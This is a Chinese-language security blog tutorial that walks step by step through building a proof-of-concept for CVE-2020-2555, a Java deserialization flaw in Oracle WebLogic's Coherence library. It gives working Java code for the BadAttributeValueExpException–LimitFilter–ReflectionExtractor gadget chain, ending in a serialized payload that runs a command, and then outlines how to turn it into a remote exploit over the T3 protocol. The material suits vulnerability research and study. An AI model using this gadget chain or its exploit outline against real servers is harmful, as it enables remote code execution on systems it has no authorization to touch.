教你一步一步構造CVE-2020-2555 POC


文章首發在安全客:https://www.anquanke.com/post/id/200384

1、前言

欸欸欸,不想寫論文,起床發現https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server爆出CVE-2020-2555新的gadget細節了,打發打發時間試着寫寫POC。本文POC構造將會比較詳細,挖JDK gadget大佬自動略過吧,還有本文只是POC,不包含exp,那些想要exp的大佬們也直接略過吧,但是你好好讀文章構造出exp也不是什么難事,最后會給出exp的思路。

2、gadget分析思路

漏洞的gadget如下,需要導入coherence.jar,weblogic12.3.6 lib包下有:
Alt text
先拋開上面的gadget總結一下挖掘java反序列化的思路如下:
挖掘java反序列化的思路
1、首先要找到反序列化入口(source)
2、調用鏈(gadget)
3、觸發漏洞的目標方法(sink)
反序列化漏洞的挖掘,本質上就是一個已知source和sink,如何走通整個調用流程的問題。在這里的source,可以包括

  1. Java原生的反序列化,即通過ObjectInputStream.readObject(),處理二進制格式內容,得到Java對象
  2. 專有格式的反序列化,例如通過Fastjson, Xstream等第三方庫,處理json, xml等格式內容,得到Java對象

執行目標sink,包括:

  1. Runtime.exec(),這種最為簡單直接,即直接在目標環境中執行命令
  2. Method.invoke(),這種需要適當地選擇方法和參數,通過反射執行Java方法
  3. RMI/JNDI/JRMP等,通過引用遠程對象,間接實現任意代碼執行的效果

從source出發,遞歸檢查其所有方法調用,如果能夠執行到sink就是一條gadget。
拿這條gadget舉例,source入口點是BadAttributeValueExpException的readObject函數。讀個ysoserial工具源碼的都知道CommonsCollections5這條gadget就是通過BadAttributeValueExpException觸發的。sink點則是Method.invoke()通過反射方法執行

3、POC構造過程

構造poc首先從sink點觸發,ReflectionExtractor類的extract函數
Alt text
所以構造如下代碼是可以彈計算器的:

    public static void main(String[] args) {
        Runtime runtime=Runtime.getRuntime();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        reflectionExtractor.extract(runtime);
    }

反射方式觸發:
Alt text
再往上回溯,誰觸發extract函數,這就找到LimitFilter類的toString()方法:
Alt text
在寫段代碼:

    public static void main(String[] args) {
        Runtime runtime=Runtime.getRuntime();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        reflectionExtractor.extract(runtime);
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(reflectionExtractor);
        limitFilter.setTopAnchor(runtime);
        limitFilter.toString();
    }

將runtime對象賦值給m_oAnchorTop

        limitFilter.setTopAnchor(runtime);

Alt text
將reflectionExtractor賦值給m_comparator

        limitFilter.setComparator(reflectionExtractor);

Alt text
看圖的標注,執行2就相當於執行 reflectionExtractor.extract(runtime),就跟POC1構造的一樣了。
Alt text
效果就是這樣:
Alt text
在向上回溯,誰觸發LimitFilter類的toString()。這也就來到的source入口點,通過BadAttributeValueExpException的readObject函數。讀個ysoserial工具源碼的都知道CommonsCollections5這就是通過BadAttributeValueExpException觸發的。所以要想看明白這里需要先看懂CommonsCollections5,可以看我博客寫的:https://www.cnblogs.com/afanti/p/10199235.html,之前讀CommonsCollections5,做的筆記如下:

重寫了BadAttributeValueExpException的readObject方法的val變量賦值為BadAttributeValueExpException類,就會調用BadAttributeValueExpException的val = valObj.toString();

這就好辦了,把val賦值為limitFilter就會調用limitFilter的toString方法,自此打通了整條gadgets。
在寫一段POC:

      Runtime runtime=Runtime.getRuntime();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(reflectionExtractor);
        limitFilter.setTopAnchor(runtime);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, limitFilter);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

然鵝,在執行時會報如下錯誤,Runtime這個類沒實現序列化接口,小問題:
Alt text
首先先自定義一個危險類,如下:

import java.io.IOException;
import java.io.Serializable;

public class Afanti implements Serializable {
    public void exec(String shell) throws IOException {
        Runtime.getRuntime().exec(shell);
    }
}

完整POC如下:

 Afanti afanti = new Afanti();
        ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setComparator(reflectionExtractor);
        limitFilter.setTopAnchor(afanti);
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
        Field valfield = poc.getClass().getDeclaredField("val");

        valfield.setAccessible(true);
        valfield.set(poc, limitFilter);

        File f = new File("poc.txt");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

調用棧如下,跟文章給的圖片一樣。
Alt text

4 、思路總結

本文只是教大家怎么寫POC,exp就不給出來了提一提思路。既然能夠執行實現序列化接口類的任意方法,參數可控,exp構造就不難了。比如:可以找一個類,類的函數有執行代碼操作或者文件操作或者反序列化操作又或者jndi注入之類的。這樣的類一抓一大把,會構造CVE-2019-2725的,自然知道exp怎么寫。寫完exp,通過t3協議發包,RCE一發入魂。最后提醒大家一點要想構造jndi的exp,jdk版本得選對,要不會遇到很多坑。(想要找危險類的可以試試我寫的這篇文章的工具,改改正則:https://www.anquanke.com/post/id/199703

參考鏈接:

https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
https://www.oracle.com/security-alerts/cpujan2020.html
https://www.cnblogs.com/afanti/p/10199235.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM